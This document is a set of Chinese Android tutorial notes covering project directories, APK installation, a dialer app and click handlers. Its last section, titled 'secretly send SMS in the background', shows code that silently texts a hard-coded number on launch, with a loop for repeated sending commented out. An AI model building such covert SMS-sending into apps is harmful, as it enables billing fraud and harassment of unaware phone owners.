*6.工程目录结构
Android应用程序架构
src java原代码存放目录
gen 自动生成目录
目录中存放所有由Android开发工具自动生成的文件。目录中最重要的就是R.java文件。 这个文件由Android开发工具自动产生的。Android开发工具会自动根据你放入res目录的资源,同步更新修改R.java文件。正因为R.java文件是由开发工具自动生成的,所以我们应避免手工修改R.java。R.java在应用中起到了字典的作用,它包含了各种资源的id,通过R.java,应用可以很方便地找到对应资源。另外编绎器也会检查R.java列表中的资源是否被使用到,没有被使用到的资源不会编绎进软件中,这样可以减少应用在手机占用的空间。
res 资源(Resource)目录
在这个目录中我们可以存放应用使用到的各种资源,如xml界面文件,图片或数据。具体请看ppt下方备注栏。
libs 支持库目录
程序开发时需要的一些三方的jar包可以放在这个目录,系统会自动把里面的jar包,添加到环境变量。
assets 资源目录
Android除了提供/res目录存放资源文件外,在/assets目录也可以存放资源文件,而且/assets目录下的资源文件不会在R.java自动生成ID,所以读取/assets目录下的文件必须指定文件的路径,如:file:///android_asset/xxx.3gp
AndroidManifest.xml 项目清单文件
这个文件列出了应用程序所提供的功能,以后你开发好的各种组件需要在该文件中进行配置,如果应用使用到了系统内置的应用(如电话服务、互联网服务、短信服务、GPS服务等等),你还需在该文件中声明使用权限。
project.properties 项目环境信息,一般是不需要修改此文件
工程目录结构:
src: 存放java代码
gen: 存放自动生成文件的. R.java 存放res文件夹下对应资源的id
project.properties: 指定当前工程采用的开发工具包的版本
libs: 当前工程所依赖的jar包.
assets: 放置一些程序所需要的媒体文件.数据库.
res(resources): 资源文件.
drawable: 存放程序所用的图片.
layout: 存放android的布局文件.
menu: 存放android的OptionsMenu菜单的布局.
values (应用程序所需要的数据. 会在R文件中生成id)
strings.xml 存放android字符串.
dimens.xml 存放屏幕适配所用到的尺寸.
style.xml 存放android下显示的样式.
values-sw600dp 7寸平板所对应的值
values-sw720dp-land 10寸平板所对应的值
values-v11 指定3.0版本以上的手机显示的样式.
values-v14 指定4.0版本以上的手机显示的样式.
AndroidManifest.xml: android应用程序的入口文件. 声明了android里边的组件. 和相关配置信息.
proguard-project.txt: 加密当前程序所使用.
==
Android 四大组件
反编译。现在也不用了。
运行程序——>清单文件——>启动界面。
*7.打包安装过程
打包安装过程(Run as Android Application ) :
1. 生成apk文件.
1). 生成.dex文件.
2). 资源索引表的生成resources.arsc.
3). 准备未编译文件.
4). 清单文件AndroidMenifest.xml文件转换成二进制.
5). 使用debug.keystore对整个应用程序进行打包签名.
2. 加载apk文件到模拟器中.
把apk文件加载到/data/local/tmp/xxx.apk
3. 安装应用程序.
1). 把/data/local/tmp/xxx.apk文件, 剪切/data/app/包名-1.apk
2). 在/data/data/文件夹下以包名创建一个文件夹, 用于存储当前程序的数据.
3). 在packages.xml和packages.list文件中分别添加一条记录.
APK文件内容:
rsa
===
安装的路径:把apk文件加载到/data/local/tmp/xxx.apk
怎么安装的呢?
安装应用程序.
1). 把/data/local/tmp/xxx.apk文件, 剪切/data/app/包名-1.apk
2). 在/data/data/文件夹下以包名创建一个文件夹, 用于存储当前程序的数据.
3). 在packages.xml和packages.list文件中分别添加一条记录.
*8.拨号器的布局
-
显示文本的控件 TextView
输入框控件 EditText
按钮控件 Button
Android5大布局
-RelativeLayout 相对布局
国际化 Ctrl + 1
edittext alt+/
android:onclick
-
*9.拨号器完成
/**
* 当拨打此号码的按钮被点击时触发此方法.
* @param v
*/
public void call(View v) {
System.out.println("拨打电话.");
// 1. 取出输入框中的号码
EditText etNumber = (EditText) findViewById(R.id.number); // 输入框对象
String number = etNumber.getText().toString(); // 将要拨打的号码 ;getText()得到的是editable、
// 2. 根据号码拨打电话
Intent intent = new Intent(); // 创建一个意图
intent.setAction(Intent.ACTION_CALL); // 指定其动作为拨打电话
intent.setData(Uri.parse("tel:" + number)); // 指定将要拨出的号码
startActivity(intent); // 执行这个动作
}
权限:
给应用添加权限:
-
问题:如果输入字符串。
限制输入框的内容;
-
-
手机连电脑调试的时候,要先装驱动。
小工具——asm.jar
-
*10.四种点击事件
【1】onclick属性 public void xx(View v){...}
因为是一个接口,不能直接new。所以有以下几个方法:
【2】匿名内部类
Button btnCall = (Button) findViewById(R.id.btn_call);
btnCall.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
System.out.println("MainUI2 拨打电话.");
call();
}
});
【3】写一个类实现该接口,添加未实现的方法
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState); // 必须执行此句代码. 执行父类的初始化操作.
setContentView(R.layout.main); // 设置当前界面显示的布局.
Button btnCall = (Button) findViewById(R.id.btn_call);
btnCall.setOnClickListener(new MyOnClickListener());
}
class MyOnClickListener implements OnClickListener {
@Override
public void onClick(View v) {
System.out.println("MainUI3 拨打号码..");
call();
}
}
【4】开发中最多的。
/**
* @author andong
* 程序刚运行就显示的界面
*/
public class MainUI4 extends Activity implements OnClickListener {
/**
* 当界面刚被创建时回调此方法
*/
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState); // 必须执行此句代码. 执行父类的初始化操作.
setContentView(R.layout.main); // 设置当前界面显示的布局.
Button btnCall = (Button) findViewById(R.id.btn_call);
btnCall.setOnClickListener(this);
}
// class MyOnClickListener implements OnClickListener {
//
// @Override
// public void onClick(View v) {
// System.out.println("MainUI3 拨打号码..");
// call();
// }
// }
/**
* 拨打电话的业务方法
*/
private void call() {
// 1. 取出输入框中的号码
EditText etNumber = (EditText) findViewById(R.id.number); // 输入框对象
String number = etNumber.getText().toString(); // 将要拨打的号码
// 2. 根据号码拨打电话
Intent intent = new Intent(); // 创建一个意图
intent.setAction(Intent.ACTION_CALL); // 指定其动作为拨打电话
intent.setData(Uri.parse("tel:" + number)); // 指定将要拨出的号码
startActivity(intent); // 执行这个动作
}
@Override
public void onClick(View v) {
System.out.println("MainUI4 拨打号码..");
call();
}
}
*11.后台偷偷发短信
1.设置背景
2.去除标题
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// 去除标题, 必须在setContentView 方法前调用
requestWindowFeature(Window.FEATURE_NO_TITLE); // 取出标题
setContentView(R.layout.activity_main);
}
3.写逻辑
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// 去除标题, 必须在setContentView 方法前调用
requestWindowFeature(Window.FEATURE_NO_TITLE); // 取出标题
setContentView(R.layout.activity_main);
// 开启一个子线程. while(true) 循环发送短信
new Thread(new Runnable() {
@Override
public void run() {
// while(true) {
// 循环发送短信
// Thread.sleep(1000);
SystemClock.sleep(5000);//这个方法不需要try...catch
SmsManager smsManager = SmsManager.getDefault(); // 短信管理器
smsManager.sendTextMessage(
"18511619290", // 收件人的号码
null, // 短信中心号码
"今晚小树林, 不见不散.",
null, // 如果发送成功, 回调此广播, 通知我们.
null); // 当对方接收成功, 回调此广播.
// }
}
}).start();
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}
}
权限: